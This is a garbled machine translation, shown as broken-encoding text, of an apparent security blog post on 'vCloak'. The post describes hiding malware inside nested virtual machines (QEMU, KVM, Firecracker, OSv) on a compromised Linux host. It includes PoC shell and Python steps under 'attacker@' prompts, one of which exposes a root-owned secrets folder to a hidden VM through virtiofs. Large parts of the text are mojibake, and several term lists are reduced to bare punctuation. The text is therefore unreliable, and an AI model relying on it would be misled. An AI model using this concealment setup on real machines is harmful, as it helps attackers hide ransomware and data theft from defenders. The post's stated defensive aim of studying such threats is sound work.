ä»®æ³åã¯äž¡åã®å£
ã§ãè¿å¹Žã®ã¯ã©ãŠãã® åå©ã®çºå±ã¯ãããŒããŠã§ã¢ãšãœãããŠã§ã¢ã®äž¡æ¹ã«é¢é£ããå€ãã®ãã¯ãããžãŒãäžåºŠã«åŸã ã«æ¹åãããããšã«èµ·å ããå¯èœæ§ããããŸããããããããããæãããç¥ãããŠãããã¯ãããžãŒã¯ãããã2ã€ã®é åãåæãããã¯ãããžãŒã§ããä»®æ³åã«ã€ããŠè©±ããŠããã®ã§ããç°¡åã«èšããšãä»®æ³åãšã¯ãããŒããŠã§ã¢ã³ã³ããŒãã³ãïŒããã»ããµãã¡ã¢ãªããã£ã¹ã¯ãã©ã€ããªã©ïŒãæœè±¡åããããŒããŠã§ã¢ãããåçã§æ¡åŒµæ§ã®é«ããœãããŠã§ã¢ã¬ã€ã€ãŒã§ãããã衚çŸããè¡çºã§ããä»®æ³åã®ãã®éèŠãªç¹åŸŽã¯ã仿¥ã§ã¯ã¯ã©ãŠããšåŒã°ãããç¹æ³šã®ä¿¡é Œæ§ãé«ããå¯çšæ§ã®é«ããªã³ããã³ããªã³ã©ã€ã³ãµãŒãã¹ã®äœæã«åœ¹ç«ã¡ãŸãã
ãã ãããã®åªãããã©ãã€ã äž»å°ã®ãã¯ãããžãŒã«ã¯æãé¢ããããŸããä»®æ³åãæäŸããããªããä¿è·ããããã«äœ¿çšãããæœè±¡åããäœå¹Žãã®éæ©æµãåããŠããã¯ã©ãŠããã³ããŒããããä»®æ³åãããªãã«éããæ¹æ³ã«ããã«æ°ä»ããæ»æè ãããŸããè¿å¹Žãããã€ãã®è åšã芳å¯ãããŠããŸã-ãããã®ããã€ãã¯æŠå¿µçã«ã®ã¿èããããŠãããä»ã¯ãã§ã«å®éã«ééããŠããŸã-æªæã®ããæŽ»åãé ãããã«äŸµå ¥ã§äœ¿çšãããŸããããã¯ãç Žå£çãªä»®æ³åãããŸãã¯ãããããä»®æ³ã«ã¢ãã©ãŒãžã¥ãã§ãã
ãã®æçš¿ã§ã¯ã誰ããããã®æŠè¡ã®é€é£ã«ãªãå¯èœæ§ãããããæ¢ããææ°ã®ä»®æ³åæè¡ãèæ ®ã«å ¥ããŠãLinuxã®ãvCloakãïŒä»®æ³ã«ã¢ãã©ãŒãžã¥ïŒã詳现ã«èª¿ã¹ãããšã«ãããè åšã®ãã®ã»ã°ã¡ã³ããçè§£ããããšãç®çãšãã調æ»ã®æŠèŠã瀺ããŸãã ãããã¯ããå®çŸå¯èœæ§ã®èšŒæããšããŠè²©å£²ãããŠããPoCãããžã§ã¯ãã§ããç®ç«ããããããã«ã§ãããªãããä»®æ³åã䜿çšããŠå®çŸã§ããç§»æ€æ§ãæ°žç¶æ§ãä¿¡é Œæ§ãåãããå€å±€ã®ã«ã¢ãã©ãŒãžã¥ããããã«ãŠã§ã¢ãäœæããŸãããã®æ°ããæ»æã®ãã¯ãã«ãåãå·»ãç¥è©±ãææãããã®æ°ããæ»æã®ãã¯ãã«ãã©ã®ããã«æ©èœããããããããçè§£ããæ»æè ãä»®æ³åãæŠåšãšããŠäœ¿çšããæ¹æ³ã説æããããšæããŸããæéããããŠèªã¿çµãââãŠãã ãããããŒãã¹ãšããŠããããã®æ»æã®æå®³æ§ã軜æžããããã€ãã®æ¹æ³ã«ã€ããŠã説æããŸãã
äžèšã®ããã«ãä»®æ³åã¯ããŒããŠã§ã¢ããã®æœè±¡åã®è¡çºã§ãããã ãããã®æçš¿ã®å 容ãããããçè§£ããã«ã¯ããããã¯ãããå°ãæ·±ãæãäžããå¿ èŠããããŸããããã§ã¯ãä»®æ³åã®æä»£ãå§ãŸã£ãç¬éã«æ©éãããŸããããããŒããŠã§ã¢ãä»®æ³åãããšããã¢ã€ãã¢ã¯æ°ãããã®ã§ã¯ãããŸããããã®ã«ãŒãã¯ãIBMãã¿ã€ã ã·ã§ã¢ãªã³ã°ãšåŒã°ããæ°ããæŠå¿µã«å€å€§ãªåªåãæã£ã1960幎代ã«ããã®ãŒãããšãã§ããŸãïŒå³2ïŒãæãåçŽãªåœ¢åŒã§ã¯ãæŠå¿µã¯æ¬¡ã®ããã«èŠçŽãããŸããé«éã³ã³ããã¹ãåãæ¿ããåãŠãŒã¶ãŒãã³ã³ãã¥ãŒã¿ãŒå šäœã®æœåšèœåã®ããäžéšããæ¶è²»ã§ããªãããšã«æ°ã¥ãããã®ã¢ã€ãã¢ãæãã€ãããšãã§ããŸãããèããŠãåœæãã³ã³ãã¥ãŒã¿ãŒã¯éšå±å šäœãå æããçŽ2,000äžãã«ïŒã€ã³ãã¬èª¿æŽæžã¿ââïŒã®è²»çšãããã£ãŠãããããæå€§éã«æŽ»çšããããšããå§ãããŸããææ°ã®ä»®æ³åã¯åãååã«åºã¥ããŠããŸããã€ãŸãããã·ã³ãªãœãŒã¹ãå ±æããŸãããè«ççãªåé¢ãç¶æããŸãã
å³ã1ïŒã¿ã€ã ã·ã§ã¢ãªã³ã°ã®æŠå¿µãæåã«å®è£ ãããIBM 7094ããã·ã¥ããŒãïŒãŠã£ãããã£ã¢ã®ãŠãŒã¶ãŒArnoldReinholdãææããç»å ãCreative Commons BY-SA 3.0 ã§ã©ã€ã»ã³ã¹äŸäž ïŒ
ææ°ã®ä»®æ³åãã©ã®ããã«å§ãŸã£ãã
èšäºÂ« ä»®æ³åå¯èœãªç¬¬3äžä»£ã¢ãŒããã¯ãã£ã® æ£åŒãªèŠä»¶Â«ïŒÂ«ä»®æ³åå¯èœãªç¬¬3äžä»£ã¢ãŒããã¯ãã£ã®æ£åŒãªèŠä»¶ "ïŒ GeraldPopekãšRobertGoldbergã¯ãä»®æ³åã®æåã®æç¢ºãªã¢ãã«ã玹ä»ãã仿¥ãŸã§äœ¿çšãããŠããæŠå¿µã®åºç€ãç¯ããŸããïŒå³3 ïŒããã®èšäºã§ã¯ãä»®æ³åã®ããã€ãã®åºæ¬çãªèŠä»¶ã玹ä»ããããŸããŸãªãã·ã³åœä»€ãåé¡ããŠåæããŸããã以äžã«ãããŒãã·ãŒã圢åŒã§ãåè¿°ã®æŠå¿µã®æŠèŠã瀺ããŸãã
1971衚çŸ// 1971幎ã®ä»®æ³åã®èŠæ¹
çŸä»£è¡šçŸ//çŸä»£
VMM衚çŸ// ä»®æ³ãã·ã³
ããŒããŠã§ã¢ã¢ãã¿ãŒ //
VMããŒããŠã§ã¢ //ä»®æ³ãã·ã³
ã¢ããªã±ãŒã·ã§ã³//
ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã¢ããªã±ãŒã·ã§ã³//
ä»®æ³ãã·ã³ ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã //
ä»®æ³ãã·ã³ã¢ãã¿ãŒ// ä»®æ³ãã·ã³ã¢ãã¿ãŒ
ç©çãã·ã³/ããŒããŠã§ã¢//ç©çãã·ã³/ããŒããŠã§ã¢
å³2ïŒæ¯èŒïŒPopeckãšGoldbergã®ãã¥ãŒãšææ°ã®äžè¬åããããã¥ãŒïŒ usenix ãã ååŸïŒ
ä»®æ³åçšèªé
- /VMM ( ) â «», : , .
- - â ( ), VMM
- /VM/ â , , machine VMM
- :
- ( 0 â 3) ,
- ( 0) ( 3) VM VM/VMM
- (CPL), CS ( ) , DPL ( ),
- :
- , 0
- (HLT, LIDT)
- (INVLPG)
- / (RDMSR, WRMSR, MOV CRx)
- OS
- â MMIO (- ) / (IN/OUT, MOV <MEMORY_MAPPED_REGISTER>)
- , (POPF)
VM
- â
- â , «»
- :
- , ,
- - ,
- :
- , API-
- , ,
- â
- , (., x86 vs AMD)
å³3ïŒä»®æ³
åä»®æ³åã®ã¿ã€ã//
ãã¢ã¡ã¿ã«ãã€ããŒãã€ã¶ãŒ//ãã¢ã¡ã¿ã«ãã€ããŒãã€ã¶ãŒ
//ãã¹ãåãã€ããŒãã€ã¶ãŒ//ãã¹ããã€ããŒãã€ã¶ãŒ
ãšãã¥ã¬ãŒã¿ãŒ//
ããŒããŠã§ã¢ä»®æ³åãšãã¥ã¬ãŒã¿ãŒ //ããŒããŠã§ã¢ä»®æ³å
ä»®æ³åã®çŽæçãªçè§£
äžèšã®çšèªéã¯ãä»ã®ããŒãã·ãŒããšåæ§ã«ãç¥èŠãå®å šã«ããããã®ã³ã³ããã¹ããäžè¶³ããŠããŸãããæµè¡èªããããããããŸãïŒå³4ãåç §ïŒããããã®èŠçŽ ã®äžã§æãéèŠãªãã®ãèŠçŽããããããããããããã«ããã€ãã®è©³çްãç ç²ã«ããŸããçšèªéãããããããã«ãä»®æ³åãžã§ãã®æãé£ããéšåã®1ã€ã¯ãç¹æš©/æ©å¯æ§ã®é«ãåœä»€ã®åŠçã§ãã
ç¹æš©åœä»€ãšã¯ãåŒã³åºãå ãéèŠãªãªãœãŒã¹ãå¶åŸ¡ã§ããããã«ããåœä»€ã§ãããããã¯ãæªæã®ããã¢ã¯ãã£ããã£ããŠãŒã¶ãŒã¹ããŒã¹ããã®å¶åŸ¡ãããŠããªãããã°ã©ã ããã·ã¹ãã ãä¿è·ããããã«äžå¯æ¬ ã§ãããããã¯ãããšãã°ãHLTåœä»€ïŒäžæã®å¯èœæ§ãããCPUã§ã®å®è¡ãããŒã®å¶åŸ¡ïŒã倿é¢é£ãããã¡ãŒ ïŒINVLPGïŒã®ããŒãžã¬ã³ãŒããç¡å¹ã«ããããšã«ããã¡ã¢ãªãããã³ã°ãžã®åœ±é¿ ããŸãã¯ç¹æ®ã¬ãžã¹ã¿ãŒãžã®ã¢ã¯ã»ã¹ïŒRDMSRïŒã§ãã ãWRMSRãMOV CRïŒãç¹æš©åœä»€ã¯ããã¹ããã·ã³ãžã®ç¡å¶éã®ã¢ã¯ã»ã¹ãèš±å¯ã§ããŸãïŒããšãã°ããã¹ãŠã®å²ã蟌ã¿ãã³ãã©ãŒã®å¶åŸ¡ ïŒã
æ©å¯æ§ã®é«ãæç€ºã¯ãã²ã¹ãã®ã芳ç¹ãããç¹æš©ãäžããããæç€ºãšããŠè§£éã§ããŸãããããã«ã¯ãå ¥å/åºåããã€ã¹ïŒIN / OUTïŒãšã®å¯Ÿè©±ãã¡ã¢ãªããããã¬ãžã¹ã¿ïŒMOVïŒãžã®æžã蟌ã¿ããŸãã¯å®è¡ãããä¿è·ãªã³ã°ã«å¿ããŠç°ãªãåäœãããåœä»€ãªã©ã®æäœãå«ãŸããŸããããã¯ãããšãã°ãEFLAGSã¬ãžã¹ã¿ ïŒPOPFïŒãžã®æžã蟌㿠ã§ããæ©å¯æ§ã®é«ãåœä»€ã¯ãã²ã¹ããã·ã³ãžã®ç¡å¶éã®ã¢ã¯ã»ã¹ãèš±å¯ã§ããŸãïŒããšãã°ãI / Oããã€ã¹ã«çŽæ¥æžã蟌ã¿ããã¹ãç¹æš©ãååŸããŸãïŒã
ä¿è·ãªã³ã°ã¯ãç¹æš©åœä»€ãã€ã³ã¿ãŒã»ããããã«ãŒãã«ãã¢ã¯ãã£ãã«ããŠãããã®å®è¡ãåŠçããããã«äœ¿çšãããŸãããã ããããã»ã©æã®ããšã§ã¯ãããŸãããããã®çš®ã®æ©å¯æ§ã®é«ãåœä»€ãååŸããããã®ããŒããŠã§ã¢ãµããŒãã¯ãããŸããã§ãããããã¯å¿ ããããã¹ãã«ãšã£ãŠå±éºã§ã¯ãããŸããããã²ã¹ãã«ãšã£ãŠã¯äŸç¶ãšããŠé害ç¹ã§ããéçãŸãã¯åçãªãã€ããªå€æã䜿çšãããšãã¥ã¬ãŒã·ã§ã³ãã²ã¹ã倿Žã«ããæºä»®æ³åãªã©ã®ãœãããŠã§ã¢ããŒã¹ã®ææ³ã䜿çšãããŸãããããã©ãŒãã³ã¹ãšæè»æ§ãå€§å¹ ã«äœäžããŸãã
解決çãšããŠãå¥ã®ã»ãã¥ãªãã£ãªã³ã°ïŒããªã³ã°1ããŸãã¯ã管çã¢ãŒãããšãåŒã°ããïŒã远å ããããšã«ãããæ©å¯æ§ã®é«ãåœä»€ã®ããŒããŠã§ã¢ãµããŒããå°å ¥ãããŸããããã®æ £è¡ã¯ãIntelãšAMDãããããVT-x ãš AMD-Vãå°å ¥ãã2005幎ãš2006幎ã«åºãŸããŸã ããæé©åã¯åœåéåžžã«ç°¡åã§ãããŒããŠã§ã¢æ¯æŽã«ããä»®æ³åæäœã¯ã»ãšãã©ãããŸããã§ããããããããã«ããã®ãµããŒãã¯ä»ã®å€ãã®æäœãç¹ã«ã¡ã¢ãªç®¡çãŠãããïŒMMUïŒã®ä»®æ³åã«ãŸã§æ¡åŒµãããŸãã ã..ãããŒããŠã§ã¢æ¯æŽä»®æ³åã¯ãéçšäžã®å©ç¹ãšã»ãã¥ãªãã£ã®åäžã«ãããããã©ãŒãã³ã¹ã³ã¹ããæå°éã«æããªãããã¯ã©ãŠãã§éåžžã«è²Žéãªãœãªã¥ãŒã·ã§ã³ãšããŠãçŸåšæšå¥šãããŠãããœãªã¥ãŒã·ã§ã³ã§ãã
ä»®æ³åãšä¿è·
å³4ïŒKVM-QEMUã¹ã¿ãã¯ãšå¯Ÿå¿ããã¹ããªãŒã ïŒç»åæäŸïŒ WikipediaãŠãŒã¶ãŒ V4711ãCreative Commons BY-SA 4.0ã§ã©ã€ã»ã³ã¹äŸäž ïŒ
ä»®æ³åã®æãéèŠãªçç±ã¯ããªãœãŒã¹ãæå€§éã«æŽ»çšãããšåæã«ããªãœãŒã¹ãå®å šã«ä¿ã¡ãçžäºã«åé¢ããããšã§ããææ°ã®ãœãããŠã§ã¢ããã³ããŒããŠã§ã¢æ©èœãåããææ°ã®ãã€ããŒãã€ã¶ãŒã䜿çšãããšãããŸããŸãªåé¢ãããä»®æ³ãã·ã³ãäœæã§ããŸããåŸæ¥ã®ãã«æ©èœã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ïŒUbuntuãªã©ïŒããã軜éã«ãŒãã«ãå®è¡ããææ°ã®æå°éã®MicroVMïŒFirecracker + OSvãªã©ïŒãŸã§ãã¡ã¢ãªããã¡ã€ã«ã·ã¹ãã ããã€ã¹ãã«ãŒãã«ãªã©ã®ãªãœãŒã¹ãåé¢ããããšã§ããã¹ãVMãšä»ã®ã²ã¹ãVMã®äž¡æ¹ãã䟵害ãããã²ã¹ãVMããã®äŸµå ¥ããä¿è·ãããŸãã
ããšãã°ãã«ãŒãã«ãšã¯ã¹ããã€ããã²ã¹ãVMã§æ£åžžã«å®è¡ãããæ»æè ããã®ç®¡çè æš©éãååŸããå Žåã§ããæ»æè ã¯åé¢ãçªç ŽããŸããããã€ããŒãã€ã¶ãŒã®è匱æ§ããªãå Žåããã¹ãVMãšä»ã®ã²ã¹ãVMã¯ã«ãŒãã«ãç°ãªããããäŸµå ¥ã®åœ±é¿ãåããŸãããä»ã®ã»ãã¥ãªãã£æŠç¥ãšåæ§ã«ãä»®æ³åã¯ãã¹ãŠã®åé¡ã解決ããããã§ã¯ãããŸãããä»®æ³åã¯ãä»®æ³åã«ã®ã¿åºæã®åºæã®æ»æãã¯ãã«ã«é¢é£ä»ããããŠããŸããä»®æ³åã®è匱æ§ãç¹ã«çã£ãç¹å®ã®æ»æã®äŸã次ã«ç€ºããŸãã
- ãã©ã€ããŒãšå ±æïŒå³5ããµãŒã¯ã«ïŒ1ïŒïŒ
- ã¹ãããã·ã§ããïŒå³5ãåïŒ2ïŒïŒ
- ãµã³ãããã¯ã¹ãšã¹ã±ãŒãïŒå³5ããµãŒã¯ã«ïŒ3ïŒïŒ
- è匱æ§ã®çš®é¡ïŒ
ä»®æ³åããŠæ»æãã
ä»®æ³åããã®ãããªå¹æçã§çšéã®åºãé²åŸ¡çã¢ãããŒãã«ããåºæ¬ååã®å€ãã¯ãæŠåšã«å€ããããšãã§ããŸããã¢ã€ãã¢èªäœã¯æ°ãããã®ã§ã¯ãªãããã®ãããªè åšã®ç ç©¶ã¯ãã§ã«è¡ãããŠããŸããBashwareã«ã€ããŠèšåããããšãã§ã ãŸããããã¯ãWSLïŒWindowsã§Linuxãµãã·ã¹ãã ãå®è¡ããããã®ä»®æ³åãœãªã¥ãŒã·ã§ã³ïŒãæ¡çšããŠãææ°ã®ãã¹ãŠã®é²åŸ¡ã¡ã«ããºã ãããã«ãŠã§ã¢ãé ãæ¹æ³ã瀺ããŠããŸãã
2020幎5æ14æ¥ããRagnarLockerããšåŒã°ããæ°ããã©ã³ãµã ãŠã§ã¢æ ªã®å ±åããã¥ãŒã¹ã§æ®ºå°ãããšãããã®çè«ã¯å®éã«ååã«ç¢ºèªãã ãŸããããããã®ç ç²è ã¯ãã²ãŒã ããšãã«ã®ãŒãã¢ã«ã³ãŒã«ã®åéã§æŽ»åããŠããå€§äŒæ¥ã§ãããä¿¡é Œãããããžã¿ã«çœ²åãããå°ããªVirtualBoxã¯ãå°ããªWindows XPä»®æ³ãã·ã³ïŒ500 MBæªæºïŒãå®è¡ããŸãããããã«ããã被害è ã®ãã·ã³ããããŒã¿ãå¯ãã«æå·åããŠãã§ããããããšãã§ããŸããããã®å¹Žã®åŸåãã»ãšãã©åãæŠç¥ãè¿·è·¯ã«ã«ãã«ã«ãã£ãŠç¶ãã ã
äžèšã§èª¬æãããã¹ãŠã®æ»æã¯VirtualBoxãäœ¿çš ããŠããããã«ãŠã§ã¢ã®ã³ã³ãããšããŠã¯ããªãéããã®ã§ããããã«ãããŒããŠã§ã¢æ¯æŽã«ããä»®æ³åã®ã¡ãªããã«äŸåããŠããŸããããã®ãããã¯ã«é£ã³èŸŒãåã«ãæ»æè ãä»®æ³åã®ã©ã®ãããªå®æ§çåŽé¢ãå©çšã§ãããã詳ããèŠãŠã¿ãŸãããã
- â ,
- â , , , ,
- â VM
- « SSL-» â MicroVM , ( SSL MITM)
- â , , ,
- â ,
- â ,
- â , (»ShadowBunny«)
- â ,
倧ããªäŸµå ¥ã«ãããä»®æ³åã«ã¯1ã€ã®å©ç¹ããããŸããææ¡ã¯ãä¿¡é Œã§ããå®è¡åäœãšããŠèŠçŽããæªæã®ããã³ãŒããéãã«å®è¡ããŠããŒã¿ãçããªã©ãå¥ã®ã³ã³ããã¹ãã§çæãåŒãèµ·ããæäœãå®è¡ããããã«äœ¿çšã§ããŸããä»®æ³åãã¯ãããžãŒã¯ãŸã ããªãæ°ããããããããã®å©ç¹ã¯åç¶ããä»®æ³åã®ãã®æãåŽé¢ã¯ããã«å€ããæ³šç®ãéããŠããŸããããã®æçš¿ã®åé ã§è¿°ã¹ãããã«ãããã§ã¯ããã®ãããªè åšãã身ãå®ãã®ã«åœ¹ç«ã€æ å ±ãšããŒã«ãæäŸããããšããŸãããããè¡ãã«ã¯ãæ»æè ã®èгç¹ããåé¡ãæ€èšããä»®æ³åãéããŠãã®ãããªäŸµå ¥ã®å®çŸå¯èœæ§ã®èšŒæ ãæ®µéçã«äœæããŸãã
ããŒããŠã§ã¢æ¯æŽä»®æ³åãšKVM
ãã¬ãŒãã³ã°ãããžã§ã¯ãã®åŠšå®³æ©èœã¯ãäž»ã«ã«ãŒãã«ç©ºéãšãŠãŒã¶ãŒç©ºéã®äž¡æ¹ã«ãããã€ããŒãã€ã¶ãŒã䜿çšããŠå®è£ ãããŠããŸãããã®èª¿æ»ã§ã¯ãããã€ãã®ç¡æã®å®è£ ãå®éšããŸããããããã®å éšæ§é ã®è©³çްãªåæã¯ããã®æçš¿ã®ç¯å²ãè¶ ããŠããŸãã
ç°¡åã«èšãã°ãããŒããŠã§ã¢æ¯æŽã«ããä»®æ³åã¯ã2ã€ã®è¿œå ã®ããã»ããµã¢ãŒãïŒVMMã®ç®¡çè æš©éãšã²ã¹ãã®äžåšïŒãããã³ã¢ã»ã³ãã©ã§èšè¿°ãããç¹å¥ãªIntelåœä»€ïŒå¹ççãªååã®ããïŒã®ãããã§å¯èœã§ãããããã¯äž»ã«ã«ãŒãã«ã«ãã£ãŠå®è¡ãããŸãã ãæ¬¡ã«ããã€ãã®äŸã瀺ããŸãã
管çè ã¢ãŒã
- VMXOFFãVMXON
- VMWRITEããã³VMREAD
éç¹æš©ïŒã²ã¹ãïŒã¢ãŒã
- VMLUANCHãšVMRESUME
VMLUANCHã®é 眮ã¯å°ãç°ãªããŸããããã¯ãã²ã¹ãVMããå®è¡ããŠã«ãŒãã«ã«å¶åŸ¡ãæž¡ãããå²ã蟌ã¿ïŒåé ã§ãã§ã«èª¬æããŸããïŒãŸãã¯VMEXITã䜿çšããŠã«ãŒãã«ã«åãæ¿ããããšãã§ããããã§ãããã®ãŠãŒã¶ãŒã¹ããŒã¹ããŒãããŒã®ã¿ã¹ã¯ã¯ããã¹ãŠã®ã¡ã¢ãªæ§é ãå²ãåœãŠãããŸããŸãªVMEXITã®ããŒãºã«å¿ããŠVMEXITãã³ãã©ãŒãå®çŸ©ããä»ã®ãšãã¥ã¬ãŒã/ä»®æ³åãªãœãŒã¹ãæ¥ç¶ããããšã§ãã
幞ãããã¹ãŠãæåããæ§ç¯ããããªã人ã®ããã«ãææ°ã®Linuxã«ãŒãã«ã¯KVMïŒkvm.koïŒããµããŒãããŠããŸãããã®ã«ãŒãã«ã¢ãžã¥ãŒã«ã¯ãå®éã«ã¯Linuxã«ãŒãã«ããã€ããŒãã€ã¶ãŒã«å€ããŸããKVMã¯ãioctlïŒ2ïŒã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠIntelVT-xæ©èœãæäŸããŸããKVMã¯ãŸããLinuxã«ãŒãã«ã®çµã¿èŸŒã¿æ©èœãç©æ¥µçã«äœ¿çšããŠãµã³ãããã¯ã¹ã管çããŸãããµã³ãããã¯ã¹ã¯ïŒåŒ·åããŒãžã§ã³ã§ã¯ïŒä»®æ³ãã·ã³ãšããŠããç¥ãããŠããŸãã
æ»æå±¥æŽ
ãã®ãããªæ»æã«ã¯ãVT-xãæå¹ã«ãªã£ãŠãã䟵害ãããUbuntuãã¹ããã·ã³ã®ç¹æš©çãªäœ¿çšãå«ãŸããŸããæ»æã¯æªæã®ããæ å ±ã®ããŒãïŒãã€ããŒãšã©ã³ãµã ãŠã§ã¢ïŒã䜿çšããäŸµå ¥ããããã¹ãäžã§ç®ã«èŠããªã圢ã§å®è¡ãããèªäœã®ä»®æ³å€è£ ã®èåŸã«é ãããŠããŸãïŒå³6ïŒ
- ç¹æš©ããã»ã¹ã¯ããvCloak1ããåããã»ã¹ã«ãã©ãŒã¯ããŠè§£åããŸãïŒæ³å®ïŒ
- ãVCloak1ãã¯ãã«ã¢ãã©ãŒãžã¥ã®L1ã¬ãã«ã§ããQEMUäžã®UbuntuMinimalä»®æ³ãã·ã³ãæ§æããŠå®è¡ããŸãã
- Ubuntuã®ãvCloak2ãã¯ãã«ã¢ãã©ãŒãžã¥ã®ã¬ã€ã€ãŒ2ïŒL2ïŒãæ§æããŠå®è¡ããŸãããããã¯ã3ã€ã®OSvã¢ããªã±ãŒã·ã§ã³ã§ãïŒä»¥äžã§èª¬æããŸã...ïŒã
è¢ããŸãããŸãããïŒèªã¿ãããããããã«ãäžéšã®ã³ãŒãã¹ãããããã¹ãããããä»ã®ã¹ããããã詳现ã«åé¡ããŸãããã®å®è£ ã®ã³ãŒããããã³é¢é£ããããŒã«ãšæ å ±ãååã«æ€èšããããšããå§ãããŸããããã¯ãã¹ãŠãªããžããªã«ããããã®ãªã³ã¯ã¯ä»¥äžã«ç€ºãããŠããŸãã
å³5ïŒæ»æã®é²è¡ç¶æ³
ã¬ãã«1ã®ã«ã¢ãã©ãŒãžã¥ã®æºå
vCloak1ãäœæããŠã¿ãŸããããããã«ãããã¯ããŒãã³ã°ã®æåã®ã¬ãã«ãå®è¡ã§ããããã«ãªããŸããQEMUã§Ubuntuçšã®æå°éã®ä»®æ³ãã·ã³ã䜿çšããŸãããïŒç竹çšã«Ubuntuãã³ã³ãã€ã«ããããšãã§ã ãŸãïŒããã®æé ã¯ãvcloak1.shã䜿çšããŠå®è£ ãããŸããããã¯ãç¹æš©ãèšå®ãããŠãããšæããããšã³ããªãã€ã³ãã«ãã£ãŠèªåçã«å®è¡ãããŸãã
attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git
attacker@host:~$ cd PoC
attacker@host:~/PoC$ cat vcloak1.sh
# virtio,
virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # Ubuntu
qemu-system-x86_64 \
-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \
-device vhost-user-fs-pci,chardev=char0,tag=myfs \
-object memory-backend-memfd,id=mem,size=4G,share=on \
-numa node,memdev=mem \
attacker@host:~/PoC$ ./vcloak1.sh # ,
ãªã¹ã1ïŒã¬ãã«1ã®ä»®æ³ã«ã¢ãã©ãŒãžã¥ãvirtiofã䜿çšããQEMUã§ã®æå°éã®Ubuntuã®æ§ç¯
ãã®æç¹ã§ãæåã®ä»®æ³åããã³ãã£ã¢ã«å°éããŸãããvCloak1ãããŒãããããšãvCloak2ãå®è¡ãããã«ã¢ãã©ãŒãžã¥ã®2çªç®ã®ã¬ãã«ãæ§æããã³å®è¡ãããŸãã
ã¬ãã«2ã®ã«ã¢ãã©ãŒãžã¥ã®æºå
vCloak2ã¯ãä»®æ³ãã·ã³å ããæå°éã®ã·ã¹ãã é ç·ïŒUnikernelïŒã§VT-xã«ãŒãã«ãå®è¡ããŸãããããã£ãŠãTier 1ã²ã¹ãVMã¯KVMãšVT-xããµããŒãããå¿ èŠãããïŒããã¯ãã¹ããç°¡åã§ãããªã¹ã2ãåç §ïŒãã¹ã¿ã³ãã¢ãã³ã®ãã¹ããã·ã³ãšããŠæ©èœã§ããŸãããã®ååž°çãªæ©èœã¯ããã¹ããããä»®æ³åãšããŠç¥ãããŠããŸãã
attacker@vcloak1:~/PoC$ lsmod | grep kvm # KVM
kvm_intel 282624 0
kvm 663552 1 kvm_intel
ãªã¹ã2ïŒKVMã®ç¢ºèªãšã«ã¢ãã©ãŒãžã¥ã®ã¬ãã«2ã®æ§ç¯ã«ã¢ãã©ãŒãžã¥ã®
2çªç®ã®ã¬ãã«ã¯ãcrontabã¿ã¹ã¯ã«ãã£ãŠèªåçã«å®è¡ãããã¹ã¯ãªããvcloak2.pyãšããŠå®è£ ãããŠããŸããå ±æãœã±ãããä»ããŠéä¿¡ã§ãã3ã€ã®ç°ãªãç竹仮æ³ãã·ã³ãå®è¡ããŸããåVMã¯ããkernel.elfããšããŠæž¡ãããUnikernelã«ãŒãã«ãå®è¡ãããã¡ã€ã«ã·ã¹ãã ã®ã«ãŒããã£ã¬ã¯ããªïŒã/ãïŒãããfs.imgããšããŠæž¡ãããåäžã®ããã»ã¹ãå®è¡ããŸãã以äžã§ã¯ããããã®ããã»ã¹ã®æ§è³ªã«ã€ããŠèª¬æããŸãããããã§ã¯ãç竹æè¡ã䜿çšããäžè¬çãªä»®æ³ãã·ã³ã®åææ§æãšå®è¡ã«ã€ããŠèª¬æããŸãã
attacker@vcloak1:~$ cat vcloak2.py # crontab
def main(options):
# , firecracker is installed
dirname = os.path.dirname(os.path.abspath(__file__))
firecracker_path = find_firecracker(dirname, options.arch)
# Firecracker ,
print_time(«Start»)
socket_path = '/tmp/firecracker.socket'
if options.api:
firecracker = start_firecracker(firecracker_path, socket_path)
# ,
kernel_path = options.kernel
if not kernel_path:
kernel_path = os.path.join(dirname, '../build/release/kernel.elf')
qemu_disk_path = options.image
if not qemu_disk_path:
qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')
raw_disk_path = disk_path(qemu_disk_path)
cmdline = options.execute
if not cmdline:
with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:
cmdline = f.read()
if options.arch == 'aarch64':
cmdline = «console=tty --disable_rofs_cache %s» % cmdline
else:
cmdline = «--nopci %s» % cmdline
client.configure_machine(options.vcpus, memory_in_mb)
print_time(«Configured VM»)
client.add_disk(raw_disk_path)
print_time(«Added disk»)
if options.networking:
client.add_network_interface('eth0', 'fc_tap0')
client.create_instance(kernel_path, cmdline)
print_time(«Created OSv VM with cmdline: %s» % cmdline)
if not options.api:
if options.verbose:
print(client.firecracker_config_json())
firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())
else:
client.start_instance()
print_time(«Booted OSv VM»)
attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab
attacker@vcloak1:~$ sudo apt update
ãªã¹ã3ïŒvcloak2.pyã¯3ã€ã®VT-xã³ã³ãããŒã
å®è¡ããŸããããŸã§ã®ãšãããããããŸãããããããã®ç竹ã€ã³ã¹ã¿ã³ã¹ã¯äœãå®è¡ããŠããŸããïŒæ»æã®ã¹ããŒãªãŒãã·ãŒãããããã«ãOSvã¢ããªã±ãŒã·ã§ã³ãå®è¡ããŠããããšã¯ãã§ã«è¿°ã¹ãŸãã ã OSvã¯ããã€ããŒãã€ã¶ãŒäžã§åäžã®å€æŽãããŠããªãLinuxã¢ããªã±ãŒã·ã§ã³ãmicroVMãšã㊠å®å šã«ãµããŒãããããã«èšèšãã ããç¡æã®æ±çšã¢ãžã¥ã©ãŒãŠãã«ãŒãã« ã«ãŒãã«ã§ãããLinuxãšãã€ããªäºæã®æå°éã®ã«ãŒãã«ãå®çŸããŸãã OSvãªã©ã®ãœãªã¥ãŒã·ã§ã³ã¯ãMicroVMãšæ¯èŒããŠãããããªãºã ã«åããæ¬¡ã®ã¹ãããã§ããã¢ããªã±ãŒã·ã§ã³ããšã«ãŠãã«ãŒãã«ã«ãŒãã«ãäœæãããšãã«ãŒãã«ã也ããŸã§å§çž®ãããOSvã¢ããªã±ãŒã·ã§ã³ãååŸãããŸãã
ãã€ãã£ãC ++ã³ãŒãããOSvã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ããã®ãããã«ç°¡åããèŠãŠã¿ãŸãããã
